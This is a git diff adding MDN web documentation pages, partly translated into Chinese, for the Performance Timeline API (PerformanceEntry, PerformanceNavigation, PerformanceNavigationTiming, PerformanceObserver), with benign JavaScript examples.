+ + diff --git a/files/zh-cn/web/api/performance_timeline/index.html b/files/zh-cn/web/api/performance_timeline/index.html new file mode 100644 index 0000000000..7f7839fbe7 --- /dev/null +++ b/files/zh-cn/web/api/performance_timeline/index.html @@ -0,0 +1,70 @@ +--- +title: Performance Timeline +slug: Web/API/Performance_Timeline +translation_of: Web/API/Performance_Timeline +--- +
{{DefaultAPISidebar("Performance Timeline API")}}
+ +

The Performance Timeline API defines extensions to the {{domxref("Performance")}} interface to support client-side latency measurements within applications. The extensions provide interfaces to retrieve {{domxref("PerformanceEntry","performance entry metrics", '', 'true')}} based on specific filter criteria. The standard also includes interfaces that allow an application to define {{anch("Performance_Observers","performance observer", '', 'true')}} callbacks that are notified when specific performance events are added to the browser's performance timeline.

+ +

This document provides an overview of the standard's interfaces. For more details about the interfaces, see the reference pages and Using Performance Timeline.

+ +

Performance extensions

+ +

The Performance Timeline API extends the {{domxref("Performance")}} interface with three methods that provide different mechanisms to get a set of {{domxref("PerformanceEntry","performance records (metrics)")}}, depending on the specified filter criteria. The methods are:

+ +
+
{{domxref("Performance.getEntries","getEntries()")}}
+
Returns all recorded {{domxref("PerformanceEntry","performance entries")}} or, optionally, the entries based on the specified {{domxref("PerformanceEntry.name","name")}}, {{domxref("PerformanceEntry.entryType","performance type")}} and/or the {{domxref("PerformanceEntry.initiatorType","initiatorType")}} (such as an HTML element).
+
{{domxref("Performance.getEntriesByName","getEntriesByName()")}}
+
Returns the recorded {{domxref("PerformanceEntry","performance entries")}} based on the specified {{domxref("PerformanceEntry.name","name")}} and optionally the {{domxref("PerformanceEntry.entryType","performance type")}}.
+
{{domxref("Performance.getEntriesByType","getEntriesByType()")}}
+
Returns the recorded {{domxref("PerformanceEntry","performance entries")}} based on the specified {{domxref("PerformanceEntry.entryType","performance type")}}.
+
+ +

PerformanceEntry interface

+ +

The {{domxref("PerformanceEntry")}} interface encapsulates a single performance entry — that is, a single data point or metric in the performance timeline. This interface has the following four properties, and these properties are extended (with additional constraints) by other interfaces (such as {{domxref("PerformanceMark")}}):

+ +
+
{{domxref("PerformanceEntry.name","name")}}
+
The name of the performance entry when the metric was created.
+
{{domxref("PerformanceEntry.entryType","entryType")}}
+
The type of performance metric (for example, "mark").
+
{{domxref("PerformanceEntry.startTime","startTime")}}
+
A {{domxref("DOMHighResTimeStamp","high resolution timestamp")}} representing the starting time for the performance entry.
+
{{domxref("PerformanceEntry.duration","duration")}}
+
A {{domxref("DOMHighResTimeStamp","high resolution timestamp", '', 'true')}} representing the time value of the duration of the performance event. (Some performance {{domxref("PerformanceEntry.entryType","entry types", '', 'true')}} have no concept of duration and this value is set to '0' for such types.)
+
+ +

This interface includes a {{domxref("PerformanceEntry.toJSON","toJSON()")}} method that returns the serialization of the {{domxref("PerformanceEntry")}} object. The serialization is specific to the performance entry's {{domxref("PerformanceEntry.entryType","type")}}.

+ +

Performance observers

+ +

{{SeeCompatTable}}

+ +

The performance observer interfaces allow an application to register an observer for specific performance event types, and when one of those event types is recorded, the application is notified of the event via the observer's callback function that was specified when the observer was created.

+ +

When the observer (callback) is invoked, the callback's parameters include a {{domxref("PerformanceObserverEntryList","performance observer entry list")}} that contains only observed {{domxref("PerformanceEntry","performance entries")}}. That is, the list contains entries only for the event types that were specified when the observer's {{domxref("PerformanceObserver.observe","observe()")}} method was invoked. The {{domxref("PerformanceObserverEntryList","performance observer entry list")}} interface has the same three getEntries*() methods as the {{domxref("Performance")}} interface. However, note there is one key difference with these methods; the {{domxref("PerformanceObserverEntryList","performance observer entry list")}} versions are used to retrieve observed performance entries within the observer callback.

+ +

Besides the {{domxref("PerformanceObserver","PerformanceObserver's")}} interface's {{domxref("PerformanceObserver.observe","observe()")}} method (which is used to register the {{domxref("PerformanceEntry.entryType","entry types")}} to observe), the {{domxref("PerformanceObserver")}} interface also has a {{domxref("PerformanceObserver.disconnect","disconnect()")}} method that stops an observer from receiving further events.

+ +

Performance observers were added to the Level 2 version of the standard and were not widely implemented.

+ +

实现状态

+ +

A summary of the interfaces' implementation status is provided below, including a link to more detailed information.

+ + + +

To test your browser's support for these interfaces, run the perf-api-support application.

+ +

参见

+ + diff --git a/files/zh-cn/web/api/performanceentry/duration/index.html b/files/zh-cn/web/api/performanceentry/duration/index.html new file mode 100644 index 0000000000..827c60d7e5 --- /dev/null +++ b/files/zh-cn/web/api/performanceentry/duration/index.html @@ -0,0 +1,111 @@ +--- +title: PerformanceEntry.duration +slug: Web/API/PerformanceEntry/duration +translation_of: Web/API/PerformanceEntry/duration +--- +
{{APIRef("Performance Timeline API")}}
+ +

The duration property returns a {{domxref("DOMHighResTimeStamp","timestamp")}} that is the duration of the {{domxref("PerformanceEntry","performance entry")}}.

+ +

The value returned by this property depends on the performance entry's {{domxref("PerformanceEntry.entryType","type")}}:

+ + + +

This property is {{readonlyInline}}.

+ +

Syntax

+ +
entry.duration;
+ +

Return value

+ +

A {{domxref("DOMHighResTimeStamp")}} representing the duration of the {{domxref("PerformanceEntry","performance entry")}}. If the duration concept doesn't apply for a particular performance metric, the browser may choose to return a duration of 0.

+ +

Note: if the performance entry has an {{domxref("PerformanceEntry.entryType","entryType")}} of "resource" (i.e. the entry is a {{domxref("PerformanceResourceTiming")}} object), this property returns the difference between the {{domxref("PerformanceEntry.responseEnd")}} and {{domxref("PerformanceEntry.startTime")}} {{domxref("DOMHighResTimeStamp","timestamps")}}.

+ +

Example

+ +

The following example shows the use of the duration property.

+ +
function run_PerformanceEntry() {
+  log("PerformanceEntry support ...");
+
+  if (performance.mark === undefined) {
+    log("... performance.mark Not supported");
+    return;
+  }
+
+  // Create some performance entries via the mark() method
+  performance.mark("Begin");
+  do_work(50000);
+  performance.mark("End");
+
+  // Use getEntries() to iterate through the each entry
+  var p = performance.getEntries();
+  for (var i=0; i < p.length; i++) {
+    log("Entry[" + i + "]");
+    check_PerformanceEntry(p[i]);
+  }
+}
+function check_PerformanceEntry(obj) {
+  var properties = ["name", "entryType", "startTime", "duration"];
+  var methods = ["toJSON"];
+
+  for (var i=0; i < properties.length; i++) {
+    // check each property
+    var supported = properties[i] in obj;
+    if (supported)
+      log("..." + properties[i] + " = " + obj[properties[i]]);
+    else
+      log("..." + properties[i] + " = Not supported");
+  }
+  for (var i=0; i < methods.length; i++) {
+    // check each method
+    var supported = typeof obj[methods[i]] == "function";
+    if (supported) {
+      var js = obj[methods[i]]();
+      log("..." + methods[i] + "() = " + JSON.stringify(js));
+    } else {
+      log("..." + methods[i] + " = Not supported");
+    }
+  }
+}
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Performance Timeline Level 2', '#dom-performanceentry-duration', 'duration')}}{{Spec2('Performance Timeline Level 2')}} 
{{SpecName('Performance Timeline', '#dom-performanceentry-duration', 'duration')}}{{Spec2('Performance Timeline')}}Initial definition.
+ +

Browser compatibility

+ +
+
+ + +

{{Compat("api.PerformanceEntry.duration")}}

+
+
diff --git a/files/zh-cn/web/api/performanceentry/entrytype/index.html b/files/zh-cn/web/api/performanceentry/entrytype/index.html new file mode 100644 index 0000000000..32cdcd696d --- /dev/null +++ b/files/zh-cn/web/api/performanceentry/entrytype/index.html @@ -0,0 +1,128 @@ +--- +title: PerformanceEntry.entryType +slug: Web/API/PerformanceEntry/entryType +translation_of: Web/API/PerformanceEntry/entryType +--- +
 
+  {{APIRef("Performance Timeline API")}}
+ +

The entryType  返回一个代表performance metric 类型的{{domxref("DOMString")}} , 例如被performance.mark("begin") 所创建的entry 的entryType 就是 "mark". 此属性只读.

+ +

语法

+ +
var type = entry.entryType;
+ +

返回值

+ +

返回值取决于  PerformanceEntry 对象的subtype, entryType的取值会影响{{domxref('PerformanceEntry.name')}} 属性, 具体如下表所示. 

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ValueSubtypeType of name propertyDescription of name property
frame, navigation{{domxref('PerformanceFrameTiming')}}, {{domxref('PerformanceNavigationTiming')}}{{domxref("URL")}}The document's address.
resource{{domxref('PerformanceResourceTiming')}}{{domxref("URL")}}The resolved URL of the requested resource. This value doesn't change even if the request is redirected.
mark{{domxref('PerformanceMark')}}{{domxref("DOMString")}}The name used when the mark was created by calling {{domxref("Performance.mark","performance.mark()")}}.
measure{{domxref('PerformanceMeasure')}}{{domxref("DOMString")}}name used when the measure was created by calling {{domxref("Performance.measure","performance.measure()")}}.
paint{{domxref('PerformancePaintTiming')}}{{domxref("DOMString")}}Either 'first-paint' or 'first-contentful-paint'.
+ +

 

+ +

范例

+ +

下面的代码说明了  entryType 属性的用法.

+ +
function run_PerformanceEntry() {
+
+  // check for feature support before continuing
+  if (performance.mark === undefined) {
+    console.log("performance.mark not supported");
+    return;
+  }
+
+  // Create a performance entry named "begin" via the mark() method
+  performance.mark("begin");
+
+  // Check the entryType of all the "begin" entries
+  var entriesNamedBegin = performance.getEntriesByName("begin");
+  //entriesNamedBegin
+  //    Array [ PerformanceMark ]
+  //entriesNamedBegin[0]
+  //    PerformanceMark { name: "begin", entryType: "mark", startTime: 94661370.14, duration: 0 }
+  //entriesNamedBegin[0].entryType
+  //    "mark"
+  //entriesNamedBegin[0].name
+  //    "begin"
+
+  for (var i=0; i < entriesNamedBegin.length; i++) {
+      var typeOfEntry = entriesNamedBegin[i].entryType;
+      console.log("Entry is type: " + typeOfEntry);
+  }
+
+}
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Performance Timeline Level 2', '#dom-performanceentry-entrytype', 'entryType')}}{{Spec2('Performance Timeline Level 2')}} 
{{SpecName('Performance Timeline', '#dom-performanceentry-entrytype', 'entryType')}}{{Spec2('Performance Timeline')}}Initial definition.
+ +

Browser compatibility

+ +
+
+ + +

{{Compat("api.PerformanceEntry.entryType")}}

+
+
diff --git a/files/zh-cn/web/api/performanceentry/index.html b/files/zh-cn/web/api/performanceentry/index.html new file mode 100644 index 0000000000..c0fde6ee9d --- /dev/null +++ b/files/zh-cn/web/api/performanceentry/index.html @@ -0,0 +1,101 @@ +--- +title: PerformanceEntry +slug: Web/API/PerformanceEntry +tags: + - API + - Interface + - NeedsTranslation + - Reference + - TopicStub + - Web Performance +translation_of: Web/API/PerformanceEntry +--- +
{{APIRef("Performance Timeline API")}}
+ +

PerformanceEntry 对象代表了 performance 时间列表中的单个 metric 数据. 每一个 performance entry 都可以在应用运行过程中通过手动构建 {{domxref("PerformanceMark","mark")}} 或者 {{domxref("PerformanceMeasure","measure")}} (例如调用 {{domxref("Performance.mark","mark()")}} 方法) 生成. 此外, Performance entries 在资源加载的时候,也会被动生成(例如图片、script、css等资源加载)

+ +

Note: Performance 对象暴露给了 {{domxref("Window")}} 和 {{domxref("Worker")}}. 同时该对象扩展了几个其他对象的属性,包括 {{domxref("PerformanceMark")}}, {{domxref("PerformanceMeasure")}}, {{domxref("PerformanceFrameTiming")}}, {{domxref("PerformanceNavigationTiming")}} 以及 {{domxref("PerformanceResourceTiming")}}.

+ +

Properties

+ +
+
{{domxref("PerformanceEntry.name")}} {{readonlyInline}}
+
{{domxref("DOMString")}} 该 performance entry 的名字
+
{{domxref("PerformanceEntry.entryType")}} {{readonlyInline}}
+
{{domxref("DOMString")}} 代表所上报的 performance metric 的 entryType 类型,例如 "mark". 可以通过 {{domxref("PerformanceEntry.entryType","entryType")}} 查阅完整的 entryType type 类型.
+
{{domxref("PerformanceEntry.startTime")}} {{readonlyInline}}
+
 {{domxref("DOMHighResTimeStamp")}}  此为 metric 上报时的时间
+
{{domxref("PerformanceEntry.duration")}} {{readonlyInline}}
+
{{domxref("DOMHighResTimeStamp")}} 该事件的耗时
+
+ +

Methods

+ +
+
{{domxref("PerformanceEntry.toJSON","PerformanceEntry.toJSON()")}}
+
返回 PerformanceEntry 对象的 JSON 格式数据
+
 
+
+ +

Example

+ +

以下例子检查了当前浏览器所支持的所有 PerformanceEntry 属性,每个属性的检查结果都会通过 console 打印出来

+ +
function print_PerformanceEntries() {
+  // Use getEntries() to get a list of all performance entries
+  var p = performance.getEntries();
+  for (var i=0; i < p.length; i++) {
+    console.log("PerformanceEntry[" + i + "]");
+    print_PerformanceEntry(p[i]);
+  }
+}
+function print_PerformanceEntry(perfEntry) {
+  var properties = ["name",
+    "entryType",
+    "startTime",
+    "duration"];
+
+  for (var i=0; i < properties.length; i++) {
+    // check each property
+    var supported = properties[i] in perfEntry;
+    if (supported) {
+      var value = perfEntry[properties[i]];
+      console.log("... " + properties[i] + " = " + value);
+    } else {
+      console.log("... " + properties[i] + " = NOT supported");
+    }
+  }
+}
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Performance Timeline Level 2', '#dom-performanceentry', 'PerformanceEntry')}}{{Spec2('Performance Timeline Level 2')}}Added toJSON() serializer method.
{{SpecName('Performance Timeline', '#dom-performanceentry', 'PerformanceEntry')}}{{Spec2('Performance Timeline')}}Initial definition.
+ +

Browser compatibility

+ +
+
+ + +

{{Compat("api.PerformanceEntry")}}

+
+
diff --git a/files/zh-cn/web/api/performanceentry/name/index.html b/files/zh-cn/web/api/performanceentry/name/index.html new file mode 100644 index 0000000000..a12b1c4c67 --- /dev/null +++ b/files/zh-cn/web/api/performanceentry/name/index.html @@ -0,0 +1,178 @@ +--- +title: PerformanceEntry.name +slug: Web/API/PerformanceEntry/name +translation_of: Web/API/PerformanceEntry/name +--- +
{{APIRef("Performance Timeline API")}}
+ +

name 是 {{domxref("PerformanceEntry")}} 接口的属性,此属性的返回值是 {{domxref("PerformanceEntry.entryType")}} 的返回值的一个补充,例如entry.entryType="navigation",entry.name="document". 这是一个只读属性.

+ +

Syntax

+ +
var name = entry.name;
+
+ +

返回值

+ +

返回值取决于PerformanceEntry 对象的 subtype和{{domxref("PerformanceEntry.entryType")}}的值, 如下表所示.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ValueSubtypeentryType valuesDescription
{{domxref("URL")}}{{domxref('PerformanceFrameTiming')}}, {{domxref('PerformanceNavigationTiming')}}frame, navigationThe document's address.
{{domxref("URL")}}{{domxref('PerformanceResourceTiming')}}resourceThe resolved URL of the requested resource. This value doesn't change even if the request is redirected.
{{domxref("DOMString")}}{{domxref('PerformanceMark')}}markThe name used when the mark was created by calling {{domxref("Performance.mark","performance.mark()")}}.
{{domxref("DOMString")}}{{domxref('PerformanceMeasure')}}measurename used when the measure was created by calling {{domxref("Performance.measure","performance.measure()")}}.
{{domxref("DOMString")}}{{domxref('PerformancePaintTiming')}}paintEither 'first-paint' or 'first-contentful-paint'.
+ +

用例

+ +

下面的例子是 name 属性的用法.

+ +
function run_PerformanceEntry() {
+  log("PerformanceEntry support ...");
+
+  if (performance.mark === undefined) {
+    log("... performance.mark Not supported");
+    return;
+  }
+
+  // Create some performance entries via the mark() method
+  performance.mark("Begin");
+  do_work(50000);
+  performance.mark("End");
+
+  // Use getEntries() to iterate through the each entry
+  var p = performance.getEntries();
+  for (var i=0; i < p.length; i++) {
+    log("Entry[" + i + "]");
+    check_PerformanceEntry(p[i]);
+  }
+}
+  //
+  //例如上面p中一个entry p[0] = {
+  //  "name": "document",
+  //  "entryType": "navigation",
+  //  "startTime": 0,
+  //  "duration": 3611.26,
+  //  "initiatorType": "navigation",
+  //  "nextHopProtocol": "http/1.1",
+  //  "workerStart": 0,
+  //  "redirectStart": 0,
+  //  "redirectEnd": 0,
+  //  "fetchStart": 0.32,
+  //  "domainLookupStart": 17.64,
+  //  "domainLookupEnd": 17.78,
+  //  "connectStart": 17.86,
+  //  "connectEnd": 18.1,
+  //  "secureConnectionStart": 0,
+  //  "requestStart": 18.3,
+  //  "responseStart": 294.06,
+  //  "responseEnd": 1610.3600000000001,
+  //  "transferSize": 97683,
+  //  "encodedBodySize": 97112,
+  //  "decodedBodySize": 97112,
+  //  "unloadEventStart": 1614.8372840721554,
+  //  "unloadEventEnd": 1619.1600105887128,
+  //  "domInteractive": 3110.767514889843,
+  //  "domContentLoadedEventStart": 3125.859851800787,
+  //  "domContentLoadedEventEnd": 3438.5779820633365,
+  //  "domComplete": 3609.999662153349,
+  //  "loadEventStart": 3610.017623620869,
+  //  "loadEventEnd": 3611.2672285754975,
+  //  "type": "reload",
+  //  "redirectCount": 0
+  //}
+
+  //下面的函数check_PerformanceEntry的参数obj就是上面的p[0]
+  //
+function check_PerformanceEntry(obj) {
+  var properties = ["name", "entryType", "startTime", "duration"];
+  var methods = ["toJSON"];
+
+  for (var i=0; i < properties.length; i++) {
+    // check each property
+    var supported = properties[i] in obj;
+    if (supported)
+      log("..." + properties[i] + " = " + obj[properties[i]]);
+    else
+      log("..." + properties[i] + " = Not supported");
+  }
+  for (var i=0; i < methods.length; i++) {
+    // check each method
+    var supported = typeof obj[methods[i]] == "function";
+    if (supported) {
+      var js = obj[methods[i]]();
+      log("..." + methods[i] + "() = " + JSON.stringify(js));
+    } else {
+      log("..." + methods[i] + " = Not supported");
+    }
+  }
+}
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Performance Timeline Level 2', '#dom-performanceentry-name', 'name')}}{{Spec2('Performance Timeline Level 2')}} 
{{SpecName('Performance Timeline', '#dom-performanceentry-name', 'name')}}{{Spec2('Performance Timeline')}}Initial definition.
+ +

Browser compatibility

+ +
+
+ + +

{{Compat("api.PerformanceEntry.name")}}

+
+
diff --git a/files/zh-cn/web/api/performanceentry/tojson/index.html b/files/zh-cn/web/api/performanceentry/tojson/index.html new file mode 100644 index 0000000000..0012bc60f7 --- /dev/null +++ b/files/zh-cn/web/api/performanceentry/tojson/index.html @@ -0,0 +1,105 @@ +--- +title: PerformanceEntry.toJSON() +slug: Web/API/PerformanceEntry/toJSON +tags: + - PerformanceEntry.toJSON() +translation_of: Web/API/PerformanceEntry/toJSON +--- +
{{APIRef("Performance Timeline API")}}
+ +

toJSON() 方法是一个串行器( serializer ); 它返回{{domxref("PerformanceEntry","performance entry")}}对象的一个JSON表示形式。

+ +

Syntax

+ +
const json = perfEntry.toJSON();
+
+ +

Arguments

+ +
+
None
+
 
+
+ +

Return value

+ +
+
json
+
A JSON object that is the serialization of the {{domxref("PerformanceEntry")}} object.
+
+ +

Example

+ +

The following example shows the use of the toJSON() method.

+ +
function run_PerformanceEntry() {
+  log("PerformanceEntry support ...");
+
+  if (performance.mark === undefined) {
+    log("... performance.mark Not supported");
+    return;
+  }
+
+  // Create some performance entries via the mark() method
+  performance.mark("Begin");
+  do_work(50000);
+  performance.mark("End");
+
+  // Use getEntries() to iterate through the each entry
+  var p = performance.getEntries();
+  for (var i=0; i < p.length; i++) {
+    log("Entry[" + i + "]");
+    check_PerformanceEntry(p[i]);
+  }
+}
+function check_PerformanceEntry(obj) {
+  var properties = ["name", "entryType", "startTime", "duration"];
+  var methods = ["toJSON"];
+
+  for (var i=0; i < properties.length; i++) {
+    // check each property
+    var supported = properties[i] in obj;
+    if (supported)
+      log("..." + properties[i] + " = " + obj[properties[i]]);
+    else
+      log("..." + properties[i] + " = Not supported");
+  }
+  for (var i=0; i < methods.length; i++) {
+    // check each method
+    var supported = typeof obj[methods[i]] == "function";
+    if (supported) {
+      var js = obj[methods[i]]();
+      log("..." + methods[i] + "() = " + JSON.stringify(js));
+    } else {
+      log("..." + methods[i] + " = Not supported");
+    }
+  }
+}
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Performance Timeline Level 2', '#dom-performanceentry', 'toJSON')}}{{Spec2('Performance Timeline Level 2')}}Initial definition of toJSON() method.
+ +

Browser compatibility

+ +
+
+ + +

{{Compat("api.PerformanceEntry.toJSON")}}

+
+
diff --git a/files/zh-cn/web/api/performancenavigation/index.html b/files/zh-cn/web/api/performancenavigation/index.html new file mode 100644 index 0000000000..ccd6816faf --- /dev/null +++ b/files/zh-cn/web/api/performancenavigation/index.html @@ -0,0 +1,76 @@ +--- +title: PerformanceNavigation +slug: Web/API/PerformanceNavigation +translation_of: Web/API/PerformanceNavigation +--- +

{{APIRef("Navigation Timing")}}

+ +

Summary

+ +

PerformanceNavigation接口呈现了如何导航到当前文档的信息。

+ +

这个类型的对象可以被只读属性{{domxref("Performance.navigation")}}调用。

+ +

Properties

+ +

PerformanceNavigation 接口不继承任何属性。

+ +
+
{{domxref("PerformanceNavigation.type")}} {{readonlyInline}}
+
一个无符号短整型,表示是如何导航到这个页面的。可能的值如下: +
+
TYPE_NAVIGATE (0)
+
当前页面是通过点击链接,书签和表单提交,或者脚本操作,或者在url中直接输入地址,type值为0
+
TYPE_RELOAD (1)
+
点击刷新页面按钮或者通过{{domxref("Location.reload()")}}方法显示的页面,type值为1
+
The page was accessed by clicking the Reload button or via the {{domxref("Location.reload()")}} method.
+
TYPE_BACK_FORWARD (2)
+
页面通过历史记录和前进后退访问时。type值为2
+
TYPE_RESERVED (255)
+
任何其他方式,type值为255
+
+
+
{{domxref("PerformanceNavigation.redirectCount")}} {{readonlyInline}}
+
无符号短整型,表示在到达这个页面之前重定向了多少次。
+
+ +

Methods

+ +

Performance 接口没有继承任何方法

+ +
+
{{domxref("PerformanceNavigation.toJSON()")}} {{non-standard_inline}}
+
PerformanceNavigation转换成JSON对象
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Navigation Timing', '#sec-navigation-info-interface', 'PerformanceNavigation')}}{{Spec2('Navigation Timing')}}Initial definition.
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.PerformanceNavigation")}}

+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/performancenavigationtiming/index.html b/files/zh-cn/web/api/performancenavigationtiming/index.html new file mode 100644 index 0000000000..566d0bb4d7 --- /dev/null +++ b/files/zh-cn/web/api/performancenavigationtiming/index.html @@ -0,0 +1,108 @@ +--- +title: PerformanceNavigationTiming +slug: Web/API/PerformanceNavigationTiming +translation_of: Web/API/PerformanceNavigationTiming +--- +
{{APIRef("Navigation Timing")}}{{SeeCompatTable}}
+ +

PerformanceNavigationTiming 提供了用于存储和检索有关浏览器文档事件的指标的方法和属性。 例如,此接口可用于确定加载或卸载文档需要多少时间。

+ + + +

{{InheritanceDiagram}}

+ +

属性

+ +

该接口扩展了 {{domxref('PerformanceEntry')}} 属性,修订和约束以下性能条目:

+ +
+
{{domxref("PerformanceEntry.entryType")}} {{readonlyInline}}
+
返回 "navigation".
+
{{domxref("PerformanceEntry.name")}} {{readonlyInline}}
+
返回 文档地址.
+
{{domxref("PerformanceEntry.startTime")}} {{readonlyInline}}
+
返回值为0的 {{domxref("DOMHighResTimeStamp")}}。
+
{{domxref("PerformanceEntry.duration")}} {{readonlyInline}}
+
返回 {{domxref("DOMHighResTimeStamp","timestamp")}} 值,即 {{domxref("PerformanceNavigationTiming.loadEventEnd")}} 和 {{domxref("PerformanceEntry.startTime")}} 属性之间的差值。
+
+ +

该接口还扩展 {{domxref('PerformanceResourceTiming')}} 属性,修订和约束以下性能条目:

+ +
+
{{domxref('PerformanceResourceTiming.initiatorType')}}{{readonlyInline}}
+
返回 "navigation".
+
+ +

该接口还支持以下属性:

+ +
+
{{domxref('PerformanceNavigationTiming.domComplete')}} {{readonlyInline}} 
+
一个 {{domxref("DOMHighResTimeStamp")}} 时间值,等于浏览器将当前文档的当前文档准备就绪之前的时间。
+
{{domxref('PerformanceNavigationTiming.domContentLoadedEventEnd')}} {{readonlyInline}}
+
一个 {{domxref("DOMHighResTimeStamp")}} 时间值,等于当前文档的 DOMContentLoaded 事件完成后的时间。
+
{{domxref('PerformanceNavigationTiming.domContentLoadedEventStart')}} {{readonlyInline}}
+
一个 {{domxref("DOMHighResTimeStamp")}} 时间值,等于用户代理在当前文档上触发 DOMContentLoaded 事件之前的时间。
+
{{domxref('PerformanceNavigationTiming.domInteractive')}} {{readonlyInline}} 
+
一个 {{domxref("DOMHighResTimeStamp")}} 时间值,等于用户代理将当前文档的当前文档准备就绪设置为交互之前的时间。
+
{{domxref('PerformanceNavigationTiming.loadEventEnd')}} {{readonlyInline}} 
+
一个 {{domxref("DOMHighResTimeStamp")}} 时间值,代表当前文档的加载事件完成的时间。
+
{{domxref('PerformanceNavigationTiming.loadEventStart')}} {{readonlyInline}} 
+
一个 {{domxref("DOMHighResTimeStamp")}} 时间值,等于立即触发当前文档的加载事件之前的时间。
+
{{domxref('PerformanceNavigationTiming.redirectCount')}} {{readonlyInline}} 
+
表示自当前浏览上下文中上次非重定向导航以来的重定向次数的数字。
+
如果没有重定向,或者重定向是从另一个 origin 发的,并且该 origin 不允许将其计时信息公开给当前来源,则该值为0。
+
+ +
+
{{domxref('PerformanceNavigationTiming.requestStart')}} {{readonlyInline}} 
+
返回一个 {{domxref("DOMHighResTimeStamp")}} 时间值,代表 UA 立即开始从服务器,相关应用程序缓存或本地资源请求资源之前的时间。
+
{{domxref('PerformanceNavigationTiming.responseStart')}} {{readonlyInline}} 
+
一个 {{domxref("DOMHighResTimeStamp")}} 时间值,代表用户代理的HTTP解析器从相关应用程序缓存,本地资源或服务器接收到响应的第一个字节后立即的时间。
+
+ +
+
{{domxref('PerformanceNavigationTiming.type')}} {{readonlyInline}} 
+
一个 {{domxref("DOMString","string")}} 表示导航类型,取值为为:“navigate”,“reload”,“back_forward”或“prerender”。
+
{{domxref('PerformanceNavigationTiming.unloadEventEnd')}} {{readonlyInline}} 
+
一个 {{domxref("DOMHighResTimeStamp")}} 时间值,等于用户代理程序完成前一文档的卸载事件之后的时间。
+
{{domxref('PerformanceNavigationTiming.unloadEventStart')}} {{readonlyInline}} 
+
一个 {{domxref("DOMHighResTimeStamp")}} 时间值,等于用户代理程序开始前一个文档的卸载事件之前的时间。
+
+ +

方法

+ +
+
{{domxref("PerformanceNavigationTiming.toJSON()")}}
+
返回一个表示{{domxref("PerformanceNavigationTiming")}}对象的{{domxref("DOMString")}} JSON。
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态注释
{{SpecName('Navigation Timing Level 2', '#sec-PerformanceNavigationTiming', 'PerformanceNavigationTiming')}}{{Spec2('Navigation Timing Level 2')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.PerformanceNavigationTiming")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/performanceobserver/disconnect/index.html b/files/zh-cn/web/api/performanceobserver/disconnect/index.html new file mode 100644 index 0000000000..d0942be4b8 --- /dev/null +++ b/files/zh-cn/web/api/performanceobserver/disconnect/index.html @@ -0,0 +1,60 @@ +--- +title: PeformanceObserver.disconnect() +slug: Web/API/PerformanceObserver/disconnect +translation_of: Web/API/PerformanceObserver/disconnect +--- +
{{APIRef("Performance Timeline API")}}
+ +
 
+ +

{{domxref('PerformanceObserver')}} 接口的 disconnect() 方法用于阻止性能观察者接收任何 {{domxref("PerformanceEntry","性能条目", '', 'true')}} 事件。

+ +

语法

+ +
performanceObserver.disconnect();
+
+ +

例子

+ +
var observer = new PerformanceObserver(function(list, obj) {
+  var entries = list.getEntries();
+  for (var i=0; i < entries.length; i++) {
+    // Process "mark" and "frame" events
+  }
+});
+observer.observe({entryTypes: ["mark", "frame"]});
+
+function perf_observer(list, observer) {
+  // Process the "measure" event
+  // ...
+  // Disable additional performance events
+  observer.disconnect();
+}
+var observer2 = new PerformanceObserver(perf_observer);
+observer2.observe({entryTypes: ["measure"]});
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Performance Timeline Level 2', '#dom-performanceobserver-disconnect', 'disconnect()')}}{{Spec2('Performance Timeline Level 2')}}disconnect() 方法的初始定义。
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.PerformanceObserver.disconnect")}}

+
diff --git a/files/zh-cn/web/api/performanceobserver/index.html b/files/zh-cn/web/api/performanceobserver/index.html new file mode 100644 index 0000000000..ca70398a68 --- /dev/null +++ b/files/zh-cn/web/api/performanceobserver/index.html @@ -0,0 +1,70 @@ +--- +title: 性能监测对象 +slug: Web/API/PerformanceObserver +tags: + - API + - 性能 + - 性能记录 + - 接口 +translation_of: Web/API/PerformanceObserver +--- +
{{APIRef("Performance Timeline API")}}
+ +
PerformanceObserver 用于监测性能度量事件,在浏览器的性能时间轴记录下一个新的 {{domxref("PerformanceEntry","performance entries", '', 'true')}}  的时候将会被通知 。
+ +
+ +
{{AvailableInWorkers}}
+ +

构造函数

+ +
+
{{domxref("PerformanceObserver.PerformanceObserver","PerformanceObserver()")}}
+
创建并返回一个新的 PerformanceObserver 对象。
+
+ +

方法

+ +
+
{{domxref("PerformanceObserver.observe","PerformanceObserver.observe()")}}
+
指定监测的 {{domxref("PerformanceEntry.entryType","entry types")}} 的集合。 当 {{domxref("PerformanceEntry","performance entry")}} 被记录并且是指定的 entryTypes 之一的时候,性能观察者对象的回调函数会被调用。
+
{{domxref("PerformanceObserver.disconnect","PerformanceObserver.disconnect()")}}
+
性能监测回调停止接收 {{domxref("PerformanceEntry","性能条目", '', 'true')}}。
+
+ +
+
+ +

示例

+ +
function perf_observer(list, observer) {
+   // Process the "measure" event
+   // 处理 "measure" 事件
+}
+var observer2 = new PerformanceObserver(perf_observer);
+observer2.observe({entryTypes: ["measure"]});
+ +

规范

+ + + + + + + + + + + + + + +
规范草案状态注释
{{SpecName('Performance Timeline Level 2', '#dom-performanceobserver', 'PerformanceObserver')}}{{Spec2('Performance Timeline Level 2')}}PerformanceObserver 接口的初始定义
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.PerformanceObserver")}}

+
